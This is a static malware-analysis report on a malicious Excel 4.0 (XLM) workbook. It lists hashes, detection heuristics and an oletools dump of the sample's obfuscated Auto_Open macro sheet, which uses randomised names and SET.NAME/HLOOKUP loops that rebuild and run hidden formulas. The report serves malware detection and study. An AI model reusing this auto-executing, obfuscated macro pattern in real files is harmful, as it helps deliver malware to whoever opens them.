Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 949aeaf3c87831eb…

MALICIOUS

Office (OLE)

41.5 KB Created: 2020-11-27 11:37:36 Authoring application: Microsoft Excel First seen: 2022-07-02
MD5: 4e44421ef56954c5e317bfe523ad205f SHA-1: db29709424065ba11bd3c4ab667dd6e9d85a8dfe SHA-256: 949aeaf3c87831eb5e2d798cb8a6e6682bbbb8c8d99e8c6e445292e1ee745811
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6663 bytes
SHA-256: 588318241a211715e79ae5f1d87a8ba1a1392200a77b187028225076bd43eadf
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  bgSLo
' 0018     27 LABEL : Cell Value, String Constant - aUjZMeIGYjIQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A134 
' 0018     27 LABEL : Cell Value, String Constant - FefSHUOSRhXT len=0 
' 0018     21 LABEL : Cell Value, String Constant - gwuodN len=0 
' 0018     23 LABEL : Cell Value, String Constant - HIidhGWt len=0 
' 0018     26 LABEL : Cell Value, String Constant - hRDUouAtTuu len=0 
' 0018     22 LABEL : Cell Value, String Constant - iJiSWJI len=0 
' 0018     26 LABEL : Cell Value, String Constant - jHzTVkamIbh len=0 
' 0018     24 LABEL : Cell Value, String Constant - JjWlBfFFF len=0 
' 0018     21 LABEL : Cell Value, String Constant - LshZjz len=0 
' 0018     26 LABEL : Cell Value, String Constant - lthEErTtKrn len=0 
' 0018     26 LABEL : Cell Value, String Constant - njmVLQWcvSh len=0 
' 0018     22 LABEL : Cell Value, String Constant - oXZfRuD len=0 
' 0018     27 LABEL : Cell Value, String Constant - PPThoSZvqjTw len=0 
' 0018     21 LABEL : Cell Value, String Constant - QpIgDd len=0 
' 0018     20 LABEL : Cell Value, String Constant - rWtKU len=0 
' 0018     25 LABEL : Cell Value, String Constant - wOkbCCgPcx len=0 
' 0018     27 LABEL : Cell Value, String Constant - xeXeUZzzUeIF len=0 
' 0018     27 LABEL : Cell Value, String Constant - yHZiPVaLZgby len=0 
' 0018     22 LABEL : Cell Value, String Constant - yqquYEp len=0 
' 0018     26 LABEL : Cell Value, String Constant - znopXlErSrw len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  bgSLo,A48,"SET.NAME("aUjZMeIGYjIQ",0+VALUE("0"))",""
'  bgSLo,R49,"",-317.00000000000000000000
'  bgSLo,A50,"SET.NAME("gwuodN",aUjZMeIGYjIQ)",""
'  bgSLo,R50,"",-93.00000000000000000000
'  bgSLo,R51,"",130.00000000000000000000
'  bgSLo,A52,"SET.NAME("jHzTVkamIbh",aUjZMeIGYjIQ)",""
'  bgSLo,R52,"",416.00000000000000000000
'  bgSLo,R53,"",-205.00000000000000000000
'  bgSLo,R54,"",74.00000000000000000000
'  bgSLo,A55,"SET.NAME("hRDUouAtTuu",COUNTA(iJiSWJI))",""
'  bgSLo,A58,"SET.NAME("PPThoSZvqjTw",COUNTA(yqquYEp))",""
'  bgSLo,A61,[],""
'  bgSLo,A65,"SET.NAME("njmVLQWcvSh","")",""
'  bgSLo,A67,"gwuodN",""
'  bgSLo,A71,"SET.NAME("HIidhGWt",HLOOKUP("*",iJiSWJI,gwuodN,FALSE))",""
'  bgSLo,A76,"LshZjz",""
'  bgSLo,A78,"SET.NAME("xeXeUZzzUeIF",aUjZMeIGYjIQ)",""
'  bgSLo,A81,[],""
'  bgSLo,A84,"xeXeUZzzUeIF",""
'  bgSLo,A87,"FefSHUOSRhXT",""
'  bgSLo,A92,"rWtKU",""
'  bgSLo,A96,"znopXlErSrw",""
'  bgSLo,A101,"SET.NAME("yHZiPVaLZgby",VALUE(HLOOKUP("*",yqquYEp,znopXlErSrw,FALSE)))",""
'  bgSLo,A104,"wOkbCCgPcx",""
'  bgSLo,A107,"njmVLQWcvSh",""
'  bgSLo,A111,"jHzTVkamIbh",""
'  bgSLo,A115,NEXT(),""
'  bgSLo,A120,"QpIgDd",""
'  bgSLo,A122,[],""
'  bgSLo,A124,"oXZfRuD",""
'  bgSLo,A126,NEXT(),""
'  bgSLo,A130,RETURN(),""
'  bgSLo,A159,"SET.NAME("JjWlBfFFF",A48)",""
'  bgSLo,A164,"iJiSWJI",""
'  bgSLo,A169,"SET.NAME("yqquYEp",R90C11)",""
'  bgSLo,A171,"SET.NAME("oXZfRuD",180)",""
'  bgSLo,A175,"SET.NAME("lthEErTtKrn",1)",""
'  bgSLo,A179,JjWlBfFFF(),""
'  bgSLo,A180,HALT(),""

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